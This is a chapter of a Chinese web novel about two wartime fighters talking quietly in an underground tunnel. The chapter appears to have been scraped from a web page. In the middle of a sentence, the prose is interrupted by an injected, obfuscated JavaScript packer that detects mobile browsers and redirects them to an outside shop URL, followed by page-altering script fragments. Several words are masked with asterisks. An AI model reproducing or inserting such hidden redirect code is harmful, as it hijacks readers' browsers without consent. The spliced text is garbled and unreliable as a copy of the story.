第423章 沉默的石头
作品:《一个人的长征》 夜深了。
地道里的空气变得很重,像是吸饱了水的海绵。
陈墨坐在一只**箱上,那箱子是空的,木板有些受潮,坐上去会发出轻微的嘎吱声。
他面前放着那盏墨水瓶做的煤油灯。
灯芯剪得很短,火苗只有豆粒大,昏黄,而且稳定。
陈墨依旧在磨刀。
那把从高木信一那里拿来的**,钢口很好。
他在一块青石上慢慢地磨。
一下,两下。
“沙、沙。”
声音很单调,很硬。
林晚走了进来。
她没有脚步声,穿着是布鞋,鞋底已经纳了好几次。
林晚手里端着两个碗,碗里是热水。
“喝点。”林晚一碗水递了过来。
陈墨没有停手,他看着刀刃,刀刃上有一道光,很冷。
“我不渴。”陈墨说。
“喝点。”林晚重复了一遍,然后把碗放在陈墨旁边的地上。
陈墨停下了,把刀放在膝盖上。
他看着林晚。
林晚也在看着他。
她的脸很瘦,颧骨有些突出。
头发剪得更短了,乱蓬蓬的,但她的眼睛很清澈。
“他们在城里。”陈墨开口说道,“五个。明天又是五个。”
“我知道。”林晚说着,在他身边坐了下来。
地上很凉。
“那个女人在逼我。”陈墨拿起碗,水很烫。
但现在他喜欢这种烫。
“她想让你发疯。”林晚说,“她想让你带着八百个人去送死。”
“我知道。”陈墨喝了一口水,“但我睡不着,我闭上眼,就能看见那些老兵的脸。他们看着我,但是他们不说话。”
“他们让你别露头。”林晚说。
“那很难。”陈墨的声音听不出情感起伏。
“是的……很难。”
林晚从口袋里摸出一块干粮,那是玉米面掺了野菜蒸的。
她掰了一半,递给陈墨。
“吃。”
陈墨接过干粮,没有直接吃。
他在手里捏着。
“如果是以前。”陈墨看着虚空中的一点,“我会冲进去,我会用**,用枪,把那个广场炸平。或者是死在那里。”
“现在不行。”林晚立马说道,“现在你有八百个人,你有三官庙,你有这片地。”
“这片地太沉了。”陈墨回答道
“那就背着。”
林晚开始说道,她的声音很轻,但是很稳。
“我们都背着。”
风从通风口灌进来,呜呜地响,像是有人在哭。
“那个女人……”陈墨看着手中的干粮,顿了顿。
“**由美子,她没有感情,就像是一台机器,并且有很高的军事素养,而我们都是半路出家的野路子。”
“机器也会坏,野路子也能打赢胜战”林晚喃喃自语。
“她不急,她在看风景。”陈墨的手指用力,干粮变成了碎屑。
“而我们在地底下,什么都做不了,只能磨刀。”
“那就把刀磨快点。”林晚看着那把**,“等到刀快了,就去割断她的喉咙。”
陈墨转过头看着林晚。
这个姑娘越发的像一个天生的战士。
在台儿庄的时候,她会哭。
在太行山的时候,她会笑。
而现在,她不哭也不笑。
她变得像这地道里的土一样,结实,沉默。
“你恨吗?”陈墨似乎想到了什么,突然问道。
“恨。”林晚只回答了一个字,但能完美体现她的心情。
“想**吗?”
“想。”林晚说,“但我听你的。”
陈墨把手里的干粮碎屑放进嘴里。
很苦,还有沙子,但他依旧咽了下去。
“可……我们不能出去。”陈墨说,“哪怕他们把那几百人都杀了,我们也不能出去。”
“我知道。”
“这很残忍。”
“这就是打仗。”林晚的声音,依旧平静,“他们**,是为了让我们活。如果我们**,他们就白**。”
陈墨重新拿起了刀。
“沙、沙。”
磨刀声又响了起来。
“陪我坐会儿。”陈墨说。
“好。”林晚说着,然后靠在土墙上,她的肩膀碰到了陈墨的肩膀。
很暖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925666|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和,在这冰冷的地底下,这是唯一的温度。
“我在想一个问题。”
陈墨看着火苗,火苗在跳。
“什么?”
“那个**,她为什么不睡觉?”陈墨说,“她也在怕。”
“怕什么?”
“怕我们不出去。”陈墨继续说道,“她把所有的赌注都押在了我的良心上,如果我没有良心呢?”
林晚看着他。
“你有。”
“我可以把它藏起来。”陈墨露出一丝苦笑,“藏得很深,藏到她找不到的地方。”
“然后呢?”
“然后,我就变成了石头。”陈墨说,“石头不会痛,石头只会砸人。”
林晚伸出手,手上有茧子,也有伤疤。
她握住了陈墨那只拿着刀的手。
“你不是石头。”林晚的声音很温和。
“你是人也会痛,痛了才知道还活着。”
陈墨的手颤抖了一下,他感觉到林晚那只手的力量。
不大,但是很坚定。
“先生。”林晚轻声叫他。
“嗯。”
“那个老兵喊的话。”林晚说,“他说,大胆地往前走。”
“嗯。”
“那就走,别回头。”
林晚抬头,盯着上面的泥土。
陈墨反手握住了她的手。
“好。”
陈墨放下了刀,刀刃已经很锋利了,吹毛断发。
他端起碗,把剩下的水喝干。
“睡觉,明天还要干活。”
“干什么?”林晚问道
“不知道,可能继续挖洞吧。”陈墨站起身,吹灭了灯。
黑暗降临了,但在黑暗中,他们的呼吸声很清晰。
“林晚我们的在一起多久了。”陈墨的声音在黑暗中响起。
“快六年了,从台儿庄开始。”
“是啊,从台儿庄开始,挺久了……”
“挺久了。”林晚说。
他们躺在干草铺上,中间隔着一只**箱。
外面,饶阳县城的探照灯还在扫射。
广场上的血迹已经干了,但地下的心跳还在。
很慢,很沉。
像是蛰伏在秋天的雷。

